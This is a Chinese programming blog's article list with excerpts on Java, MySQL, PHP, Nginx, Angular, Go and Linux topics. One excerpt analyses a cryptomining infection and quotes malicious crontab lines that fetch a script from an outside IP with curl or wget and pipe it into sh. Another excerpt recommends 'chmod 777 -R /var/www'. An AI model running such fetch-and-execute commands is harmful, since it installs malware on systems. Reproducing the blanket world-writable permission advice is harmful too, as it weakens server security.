- 浏览: 170649 次
- 性别:
- 来自: 南京
-
最新评论
-
弹指一世界:
感谢博主分享,但是我把项目下载下来放本地运行报了一个错误Exc ...
php phalcon项目实战 -
xialluyouyue:
...
php xmlrpc的简单实用
文章列表
一、认识注解
注解(Annotation)很重要,未来的开发模式都是基于注解的,JPA是基于注解的,Spring2.5以上都是基于注解的,Hibernate3.x以后也是基于注解的,现在的Struts2有一部分也是基于注解的了,注解是一种趋势,现在已经有 ...
Java Socket编程
- 博客分类:
- 每天工作日志
Java最初是作为网络编程语言出现的,其对网络提供了高度的支持,使得客户端和服务器的沟通变成了现实,而在网络编程中,使用最多的就是Socket。像大家熟悉的QQ、MSN都使用了Socket相关的技术。下面就让我们一起揭开Socket的神 ...
MySQL中单句实现无限层次父子关系查询
- 博客分类:
- 每天工作日志
在 SQL Server 中,使用 CTE 表达式很容易做到无限层次父子关系查询;在不支持CTE表达式的版本中,借助函数递归也可以轻松实现。
在 MySQL 中,这个需求的实例稍显复杂, MySQL 中没有支持递归的查询,没有表值函数,函数不支持递归,所以通常都是用循环实现,显得比较别扭。今天看到一个用单条语句实现的递归查询,想法独特,分享一下。
表结构和数据
CREATE TABLE table1(id int, name varchar(10), parent_id int);
INSERT table1 VALUES
(1, ‘Home’, 0),
(2, ‘About’, 1 ...
Nginx和PHP-FPM的进程间通信有两种方式,一种是TCP,一种是UNIX Domain Socket.
其中TCP是IP加端口,可以跨服务器.而UNIX Domain Socket不经过网络,只能用于Nginx跟PHP-FPM都在同一服务器的场景.用哪种取决于你的PHP-FPM配置:
方式1:
php-fpm.conf: listen = 127.0.0.1:9000
nginx.conf: fastcgi_pass 127.0.0.1:9000;
方式2:
php-fpm.conf: listen = /tmp/php-fpm.sock
nginx.conf: fastcgi_pass ...
angular2 @input和@output理解
先做个比方,然后奉上代码
比如:
<talk-cmp [talk]="someExp" (rate)="eventHandler($event.rating)">
input, [talk]="someExp" 这个标签可以理解为一个专门的监听器,监听父组件传递过来的someExp参数,并存入自身组件的talk变;好像是开了个后门,允许且只允许父组件的someExp进入,一旦进入立刻抓进一个叫talk的牢房,然后子组件中就可以通过@Input来定义这个变量talk然后使 ...
2t3ik与ddgs挖矿病毒处理
- 博客分类:
- linux成长记录
一、问题现象
朋友的阿里云LINUX服务器, 发现有2t3ik与ddgs两个异常进程,把CPU几乎耗尽了。其描述kill掉以后,过一会儿又会重新出现。
2t3ik_worm
二、分析处理
即然kill 后过一会儿又会出现,那就有两种可能:1、crontab定时调用;2、有守护进程,个别病毒还会修改ps和top,通过这些命令无法查看到隐藏的守护进程。先看了下crontab,发现如下两条内容:
*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh
*/5 * * * * wget -q -O- http://165.225 ...
PHP消息队列实现及应用
- 博客分类:
- 每天工作日志
https://www.cnblogs.com/dump/p/8243868.html目前对消息队列并不了解其原理,本篇文章主要是通过慕课网学习归纳的一些笔记,为后续学习打下基础。
众所周知在对网站设计的时候,会遇到给用户“群发短信”,“订单系统有大量的日志 ...
php rsa加密解密实例(转)
- 博客分类:
- 每天工作日志
php服务端与客户端交互、提供开放api时,通常需要对敏感的部分api数据传输进行数据加密,这时候rsa非对称加密就能派上用处了,下面通过一个例子来说明如何用php来实现数据的加密解密
1、加密解密的第一步是生成公钥、私钥对,私钥加密的内容能通过公钥解密(反过来亦可以)
下载开源RSA密钥生成工具openssl(通常Linux系统都自带该程序),解压缩至独立的文件夹,进入其中的bin目录,执行以下命令:
openssl genrsa -out rsa_private_key.pem 1024
openssl pkcs8 -topk8 -inform PEM -in rsa_private ...
Ubuntu自动备份MySQL数据库
亲测:
实现步骤:
1、创建保存备份文件的目录:/home/mysql_data
cd /home #进入目录
mkdir mysql_data #创建目录
2、创建备份脚本文件:/home/mysql_data/mysql_databak.sh
cd /home/mysql_data #进入目录
gedit mysql_databak.sh #创建文件
gedit mysql_databak.sh #编辑文件,输入以下内容
######################################################### ...
远程管理项目部署(lamp)@Author:Tim Lu
切换至root用户
su 切换到root用户
修改Ubuntu的apt-get源为国内镜像源
原文件备份
cp /etc/apt/sources.list /etc/apt/sources.list.bak
2 编辑源列表文件(建议用阿里云源)
vim /etc/apt/sources.list
把下面的任意一下复制到sources.list中去,并覆盖原来的文件内容
deb-src http://archive.ubuntu.com/ubuntu xenial main restrict ...
获取用户列表,按照申请时间倒序排序,注:调用标准库的sort.Sort必须要先实现Len(),Less(),Swap() 三个方法.
......
import (
"fmt"
"io/ioutil"
"sort"
"time"
)
type User struct {
ApplicantGuid string `json:"applicant_guid"`
ApplyTime string `json:"apply_time"`
UsedLicense ...
架了一个Apache服务器,文件目录为/var/www/,今天在用php语言调用fopen()函数的时候返回的是false,即函数调用失败。
原因:
文件目录访问权限的问题。普通用户不能对/var/www/目录做修改。
解决方案:
sudo chmod 777 -R /var/www 把/var/www/目录对所有用户开启读写权限
一、服务器环境
- Ubuntu 16.04.2 LTS x64
- PHP 7.0.21
二、服务器端软件安装
安装apache2
apt-get install apache2
安装php
apt-get install php7.0
apt-get install php7.0-dev
apt-get install libapache2-mod-php7.0
// Ubuntu 14.04, php5.6.32
apt-get install python-software-properties
add-apt ...
linux的nohup命令的用法。
- 博客分类:
- 每天工作日志
在应用Unix/Linux时,我们一般想让某个程序在后台运行,于是我们将常会用 & 在程序结尾来让程序自动运行。比如我们要运行mysql在后台: /usr/local/mysql/bin/mysqld_safe –user=mysql &。可是有很多程序并不想mysqld一样,这样我们就需要nohup命令,怎样使用nohup命令呢?这里讲解nohup命令的一些用法。
nohup /root/start.sh &
在shell中回车后提示:
[~]$ appending output to nohup.out
原程序的的标准输出被自动改向到当前目录下的nohup.o ...
序言
错误和异常是两个不同的概念,非常容易混淆。很多程序员习惯将一切非正常情况都看做错误,而不区分错误和异常,即使程序中可能有异常抛出,也将异常及时捕获并转换成错误。从表面上看,一切皆错误的思路更简单,而异常的引入仅仅增加了额外的复杂度。
但事实并非如此。众所周知,Golang遵循“少即是多”的设计哲学,追求简洁优雅,就是说如果异常价值不大,就不会将异常加入到语言特性中。
错误和异常处理是程序的重要组成部分,我们先看看下面几个问题:
错误和异常如何区分?
错误处理的方式有哪几种?
什么时候需要使用异常终止程序?
什么时候需要捕获异常?
...
如果你对这几个问题的答案不是太清楚,那么就抽一 ...